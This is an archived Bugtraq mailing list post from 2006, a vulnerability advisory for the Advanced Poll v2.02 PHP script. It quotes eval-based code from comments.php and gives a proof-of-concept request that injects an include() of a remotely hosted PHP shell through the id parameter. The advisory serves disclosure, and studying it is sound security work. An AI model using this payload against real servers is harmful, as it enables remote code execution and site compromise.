Home page logo
/

bugtraq logo Bugtraq mailing list archives

Advanced Poll v2.02 :) <= Remote File Inclusion
From: alguidy () hotmail com
Date: 8 Oct 2006 14:30:29 -0000

+--------------------------------------------------------------------
+
+ Advanced Poll v2.02 :)  <= Remote File Inclusion
+
+--------------------------------------------------------------------
+
+ Affected Software .: Advanced Poll v2.02
+ Venedor ...........: http://www.proxy2.de
+ Class .............: Remote File Inclusion
+ Risk ..............: high (Remote File Execution)
+ Found by ..........: Pro Hacker
+ Original advisory .: http://www.sec-area.com/ http://www.worlddefacers.de/ 
+ Contact ...........: alguidy[at]hotmail[.]com
+
+--------------------------------------------------------------------
+
+ Code comments.php:
+
+ .....
+ $register_poll_vars = array("id","template_set","action");
+ for ($i=0;$i<sizeof($register_poll_vars);$i++) {
+     if (isset($HTTP_POST_VARS[$register_poll_vars[$i]])) {
+         eval("\$$register_poll_vars[$i] =
\"".trim($HTTP_POST_VARS[$register_poll_vars+ [$i]])."\";");
+     } elseif (isset($HTTP_GET_VARS[$register_poll_vars[$i]])) {
+         eval("\$$register_poll_vars[$i] =
\"".trim($HTTP_GET_VARS[$register_poll_vars+ [$i]])."\";");
+     } else {
+         eval("\$$register_poll_vars[$i] + '';");
+     }
+ }
+ .....
+
+ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
+ PoC:
+ Place a PHPShell on a remote location:
+ http://sec-area.com/sh.txt?
+
+
+ http://[target]/poll/comments.php?id={${include($ddd)}}{${exit()}}&ddd=Http://EvilShell
+
+--------------------------------------------------------------------
+ [W]orld [D]efacers [T]eam
+ Greets:
+ || rUnViRuS || - || papipsycho || - || HeX || - || Linux Master || BLaCKWHITE
||
+ || P-r-O H-a-C-k-E-r-S ||
+
+-------------------------[ W D T ]----------------------------------


  By Date           By Thread  

Current thread:
  • Advanced Poll v2.02 :) <= Remote File Inclusion alguidy (Oct 09)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]